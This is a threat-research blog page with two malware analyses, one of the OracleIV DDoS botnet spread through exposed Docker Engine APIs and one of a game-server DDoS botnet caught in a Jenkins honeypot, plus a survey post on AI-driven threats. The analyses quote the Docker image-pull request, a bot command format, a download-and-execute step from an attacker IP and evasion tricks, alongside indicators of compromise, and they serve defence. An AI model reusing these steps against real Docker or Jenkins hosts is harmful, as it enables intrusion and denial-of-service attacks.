November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest

‍

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Figure 2: Image layer RUN command to retrieve xmrig miner

Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

bot.main
bot.init_socket
bot.checksum
bot.register_ssl
bot.register_httpget
bot.register_slow
bot.register_five
bot.register_vse
bot.register_udp
bot.register_udp_pps
bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

Performs a UDP flood with 40,000-byte packets
These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

Seems non-functional, when the command was issued no activity was observed.

SSL:

Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.

Tcpdump output for SSL Dos method — Figure 5: Tcpdump output for SSL DoS method

SYN:

It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

Seems non-functional, when the command was issued no activity was observed.

SLOW:

This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack

Written by

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

Malware Research Engineer

•

April 28, 2026

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April 29, 2026

Darktrace Malware Analysis: Jenkins Honeypot Reveals Emerging Botnet Targeting Online Games

DDoS Botnet discovery

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

How attackers used a Jenkins honeypot to deploy the botnet

One such software honeypotted by Darktrace is Jenkins, a CI build system that allows developers to build code and run tests automatically. The instance of Jenkins in Darktrace’s honeypot is intentionally configured with a weak password, allowing attackers to obtain remote code execution on the service.

In one instance observed by Darktrace on March 18, 2026, a threat actor seemingly attempted to target Darktrace’s Jenkins honeypot to deploy a distributed denial-of-service (DDoS) botnet. Further analysis by Darktrace’s Threat Research team revealed the botnet was intended to specifically target video game servers.

How the Jenkins scriptText endpoint was used for remote code execution

The Jenkins build system features an endpoint named scriptText, which enables users to programmatically send new jobs, in the form of a Groovy script. Groovy is a programming language with similar syntax to Java and runs using the Java Virtual Machine (JVM). An attacker can abuse the scriptText endpoint to run a malicious script, achieving code execution on the victim host.

*Figure 1: Request sent to the scriptText endpoint containing the malicious script.*

The malicious script is sent using the form-data content type, which results in the contents of the script being URL encoded. This encoding can be decoded to recover the original script, as shown in Figure 2, where Darktrace Analysts decoded the script using CyberChef,

*Figure 2: The malicious script decoded using CyberChef.*

What happens after Jenkins is compromised

As Jenkins can be deployed on both Microsoft Windows and Linux systems, the script includes separate branches to target each platform.

In the case of Windows, the script performs the following actions:

Downloads a payload from 103[.]177.110.202/w.exe and saves it to C:\Windows\Temp\update.dat.
Renames the “update.dat” file to “win_sys.exe” (within the same folder)
Runs the Unblock-File command is used to remove security restrictions typically applied to files downloaded from the internet.
Adds a firewall allow rule is added for TCP port 5444, which the payload uses for command-and-control (C2) communications.

On Linux systems, the script will instead use a Bash one-liner to download the payload from 103[.]177.110.202/bot_x64.exe to /tmp/bot and execute it.

Why this botnet uses a single IP for delivery and command and control

The IP 103[.]177.110.202 belongs to Webico Company Limited, specifically its Tino brand, a Vietnamese company that offers domain registrar services and server hosting. Geolocation data indicates that the IP is located in Ho Chi Minh City. Open-source intelligence (OSINT) analysis revealed multiple malicious associations tied to the IP [1].

Darktrace’s analysis found that the IP 103[.]177.110.202 is used for multiple stages of an attack, including spreading and initial access, delivering payloads, and C2 communication. This is an unusual combination, as many malware families separate their spreading servers from their C2 infrastructure. Typically, malware distribution activity results in a high volume of abuse complaints, which may result in server takedowns or service suspension by internet providers. Separate C2 infrastructure ensures that existing infections remain controllable even if the spreading server is disrupted.

How the malware evades detection and maintains persistence

Analysis of the Linux payload (bot _x64)

The sample begins by setting the environmental variables BUILD_ID and JENKINS_NODE_COOKIE to “dontKillMe”. By default, Jenkins terminates long-running scripts after a defined timeout period; however, setting these variables to “dontKillMe” bypasses this check, allowing the script to continue running uninterrupted.

The script then performs several stealth behaviors to evade detection. First, it deletes the original executable from disk and then renames itself to resemble the legitimate kernel processes “ksoftirqd/0” or “kworker”, which are found on Linux installations by default. It then uses a double fork to daemonize itself, enabling it to run in the background, before redirecting standard input, standard output, and standard error to /dev/null, hiding any logging from the malware. Finally, the script creates a signal handler for signals such as SIGTERM, causing them to be ignored and making it harder to stop the process.

*Figure 3: Stealth component of the main function*

How the botnet communicates with command and control (C2)

The sample then connects to the C2 server and sends the detected architecture of the system on which the agent was installed. The malware then enters a loop to handle incoming commands.

The sample features two types of commands, utility commands used to manage the malware, and commands to trigger attacks. Three special commands are defined: “PING” (which replies with PONG as a keep-alive mechanism), “!stop” which causes the malware to exit, and “!update”, which triggers the malware to download a new version from the C2 server and restart itself.

*Figure 4: Initial connection to the C2 sever.*

What DDoS attack techniques this botnet uses

The attack commands consist of the following:

Many of these commands invoke the same function despite appearing to be different attack techniques. For example, specialized attacks such as Cloudflare bypass (cfbypass, uam) use the exact same function as a standard HTTP attack. This may indicate the threat actor is attempting to make the botnet look like it has more capabilities than it actually has, or it could suggest that these commands are placeholders for future attack functionality that has yet to be implemented

All the commands take three arguments: IP, port to attack, and the duration of the attack.

attack_udp and attack_udp_pps

The attack_udp and attack_udp_pps functions both use a basic loop and sendto system call to send UDP packets to the victim’s IP, either targeting a predetermined port or a random port. The attack_udp function sends packets with 1,450 bytes of data, aimed at bandwidth saturation, while the attack_udp_pps function sends smaller 64-byte packets. In both cases, the data body of the packet consists of entirely random data.

*Figure 5: Code for the UDP attack method*

attack_dayz

The attack_dayz function follows a similar structure to the attack_udp function; however, instead of sending random data, it will instead send a TSource Engine Query. This command is specific to Valve Source Engine servers and is designed to return a large volume of data about the targeted server. By repeatedly flooding this request, an attacker can exhaust the resources of a server using a comparatively small amount of data.

The Valve Source Engine server, also called Source Engine Dedicated server, is a server developed by video game company Valve that enables multiplayer gameplay for titles built using the Source game engine, which is also developed by Valve. The Source engine is used in games such as Counterstrike and Team Fortress 2. Curiously, the function attack_dayz, appears to be named after another popular online multiplayer game, DayZ; however, DayZ does not use the Valve Source Engine, making it unclear why this name was chosen.

The code for the “attack_dayz” attack function. — *Figure 6: The code for the* “*attack_dayz” attack function.*

attack_tcp_push

The attack_tcp_push function establishes a TCP socket with the non-blocking flag set, allowing it to rapidly call functions such as connect() and send() without waiting for their completion. For the duration of the attack, it enters a while loop in which it repeatedly connects to the victim, sends 1,024 bytes of random data, and then closes the connection. This process repeats until the attack duration ends. If the mode flag is set to 1, the function also configures the socket with TCP no-delay enabled, allowing for packets to be sent immediately without buffering, resulting in a higher packet rate and a more effective attack.

*Figure 7: The code for the TCP attack function.*

attack_http

Similar to attach_tcp_push, attack_http configures a socket with no-delay enabled and non-blocking set. After establishing the connection, it sends 64 HTTP GET requests before closing the socket.

*Figure 8: The code for the HTTP attack function.*

attack_special

The attack_special function creates a UDP socket and sets the port and payload based on the value of the mode flag:

Mode 0: Port 53 (DNS), sending a 10-byte malformed data packet.
Mode 1: Port 27015 (Valve Source Engine), sending the previously observed TSource Engine Query packet.
Mode 2: Port 123 (NTP), sending the start of an NTP control request.

*Figure 9: The code for the attack_special function.*

What this botnet reveals about opportunistic attacks on internet-facing systems

Jenkins is one of the less frequently exploited services honeypotted by Darktrace, with only a handful campaigns observed. Nonetheless, the emergence of this new DDoS botnet demonstrates that attackers continue to opportunistically exploit any internet-facing misconfiguration at scale to grow the botnet strength.

While the hosts most commonly affected by these opportunistic attacks are usually “lower-value” systems, this distinction is largely irrelevant for botnets, where numbers alone are more important to overall effectiveness

The presence of game-specific DoS techniques further highlights that the gaming industry continues to be extensively targeted by cyber attackers, with Cloudflare reporting it as the fourth most targeted industry [2]. This botnet has likely already been used against game servers, serving as a reminder for server operators to ensure appropriate mitigations are in place.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

103[.]177.110.202 - Attacker and command-and-control IP

F79d05065a2ba7937b8781e69b5859d78d5f65f01fb291ae27d28277a5e37f9b – bot_x64

References

[1] https://www.virustotal.com/gui/url/86db2530298e6335d3ecc66c2818cfbd0a6b11fcdfcb75f575b9fcce1faa00f1/detection

[2] - https://blog.cloudflare.com/ddos-threat-report-2025-q4/

About the author

Nathaniel Bill

Malware Research Engineer

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AI

April 28, 2026

State of AI Cybersecurity 2026: 87% of security professionals are seeing more AI-driven threats, but few feel ready to stop them

The findings in this blog are taken from Darktrace’s annual State of AI Cybersecurity Report 2026.

In part 1 of this blog series, we explored how AI is remaking the attack surface, with new tools, models, agents — and vulnerabilities — popping up just about everywhere. Now embedded in workflows across the enterprise, and often with far-reaching access to sensitive data, AI systems are quickly becoming a favorite target of cyber threat actors.

Among bad actors, though, AI is more often used as a tool than a target. Nearly 62% of organizations experienced a social engineering attack involving a deepfake, or an incident in which bad actors used AI-generated video or audio to try to trick a biometric authentication system, compared to 32% that reported an AI prompt injection attack.

In the hands of attackers, AI can do many things. It’s being used across the entire kill chain: to supercharge reconnaissance, personalize phishing, accelerate lateral movement, and automate data exfiltration. Evidence from Anthropic demonstrates that threat actors have harnessed AI to orchestrate an entire cyber espionage campaign from end to end, allegedly running it with minimal human involvement.

CISOs inhabit a world where these increasingly sophisticated attacks are ubiquitous. Naturally, combatting AI-powered threats is top of mind among security professionals, but many worry about whether their capabilities are up to the challenge.

AI-powered threats at scale: no longer hypothetical

AI-driven threats share signature characteristics. They operate at speed and scale. Automated tools can probe multiple attack paths, search for multiple vulnerabilities and send out a barrage of phishing emails, all within seconds. The ability to attack everywhere at once, at a pace that no human operator could sustain, is the hallmark of an AI-powered threat. AI-powered threats are also dynamic. They can adapt their behavior to spread across a network more efficiently or rewrite their own code to evade detection.

Security teams are seeing the signs that they’re fighting AI-powered threats at every stage of the kill chain, and the sophistication of these threats is testing their resolve and their resources.

73% say that AI-powered cyber threats are having a significant impact on their organization
92% agree that these threats are forcing them to upgrade their defenses
87% agree that AI is significantly increasing the sophistication and success rate of malware
87% say AI is significantly increasing the workload of their security operations team

These teams now confront a challenge unlike anything they’ve seen before in their careers, and the risks are compounding across workflows, tools, data, and identities. It’s no surprise that 66% of security professionals say their role is more stressful today than it was five years ago, or that 47% report feeling overwhelmed at work.

Up all night: Security professionals’ worry list is long

Traditional security methods were never built to handle the complexity and subtlety of AI-driven behavior. Working in the trenches, defenders have deep firsthand experience of how difficult it can be to detect and stop AI-assisted threats.

Increasingly effective social engineering attacks are among their top concerns. 50% of security leaders mentioned hyper-personalized phishing campaigns as one of their biggest worries, while 40% voiced apprehension about deepfake voice fraud. These concerns are legitimate: AI-generated phishing emails are increasingly tailored to individual organizations, business activities, or individuals. Gone are the telltale signs – like grammar or spelling mistakes – that once distinguished malicious communications. Notably, 33% of the malicious emails Darktrace observed in 2025 contained over 1,000 characters, indicating probable LLM usage.

Security leaders also worry about how bad actors can leverage AI to make attacks even faster and more dynamic. 45% listed automated vulnerability scanning and exploit chaining among their biggest concerns, while 40% mentioned adaptive malware.

Confidence is lacking

Protecting against AI demands capabilities that many organizations have not yet built. It requires interpreting new indicators, uncovering the subtle intent within interactions, and recognizing when AI behavior – human or machine – could be suspicious. Leaders know that their current tools aren’t prepared for this. Nearly half don’t feel confident in their ability to defend against AI-powered attacks.

We’ve asked participants in our survey about their confidence for the last three years now. In 2024, 60% said their organizations were not adequately prepared to defend against AI-driven threats. Last year, that percentage shrunk to 45%, a possible indicator that security programs were making progress. Since then, however, the progress has apparently stalled. 46% of security leaders now feel inadequately prepared to protect their organizations amidst the current threat landscape.

Some of these differences are accentuated across different cultures. Respondents in Japan are far less confident (77% say they are not adequately prepared) than respondents in Brazil (where only 21% don’t feel prepared).

Where security programs are falling short

It’s no longer the case that cybersecurity is overlooked or underfunded by executive leadership. Across industries, management recognizes that AI-powered threats are a growing problem, and insufficient budget is near the bottom of most CISO’s list of reasons that they struggle to defend against AI-powered threats.

It’s the things that money can’t buy – experience, knowledge, and confidence – that are holding programs back. Near the top of the list of inhibitors that survey participants mention is “insufficient knowledge or use of AI-driven countermeasures.” As bad actors embrace AI technologies en masse, this challenge is coming into clearer focus: attack-centric security tools, which rely on static rules, signatures, and historical attack patterns, were never designed to handle the complexity and subtlety of AI-driven attacks. These challenges feel new to security teams, but they are the core problems Darktrace was built to solve.

Our Self-Learning AI develops a deep understanding of what “normal” looks like for your organization –including unique traffic patterns, end user habits, application and device profiles – so that it can detect and stop novel, dynamic threats at the first encounter. By focusing on learning the business, rather than the attack, our AI can keep pace with AI-powered threats as they evolve.

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Explore the full State of AI Cybersecurity 2026 report for deeper insights into how security leaders are responding to AI-driven risks.

Learn more about securing AI in your enterprise.

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OracleIV: A dockerized DDoS botnet

Introduction: OracleIV

Initial access

Malicious Docker hub image

Static analysis

Dynamic analysis

Botnet commands

Conclusion

Indicators of compromise (IoCs)

File name SHA256

IP addresses

Docker image

References

Darktrace Malware Analysis: Jenkins Honeypot Reveals Emerging Botnet Targeting Online Games

State of AI Cybersecurity 2026: 87% of security professionals are seeing more AI-driven threats, but few feel ready to stop them

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Darktrace Malware Analysis: Jenkins Honeypot Reveals Emerging Botnet Targeting Online Games

DDoS Botnet discovery

How attackers used a Jenkins honeypot to deploy the botnet

How the Jenkins scriptText endpoint was used for remote code execution

What happens after Jenkins is compromised

Why this botnet uses a single IP for delivery and command and control

How the malware evades detection and maintains persistence

How the botnet communicates with command and control (C2)

What DDoS attack techniques this botnet uses

attack_udp and attack_udp_pps

attack_dayz

attack_tcp_push

What this botnet reveals about opportunistic attacks on internet-facing systems

Indicators of Compromise (IoCs)

Blog

AI

April 28, 2026

State of AI Cybersecurity 2026: 87% of security professionals are seeing more AI-driven threats, but few feel ready to stop them

AI-powered threats at scale: no longer hypothetical

Up all night: Security professionals’ worry list is long

Confidence is lacking

Where security programs are falling short